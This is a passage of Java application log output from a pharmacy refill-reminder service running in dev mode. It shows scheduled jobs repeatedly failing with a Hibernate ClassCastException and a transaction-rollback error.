org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 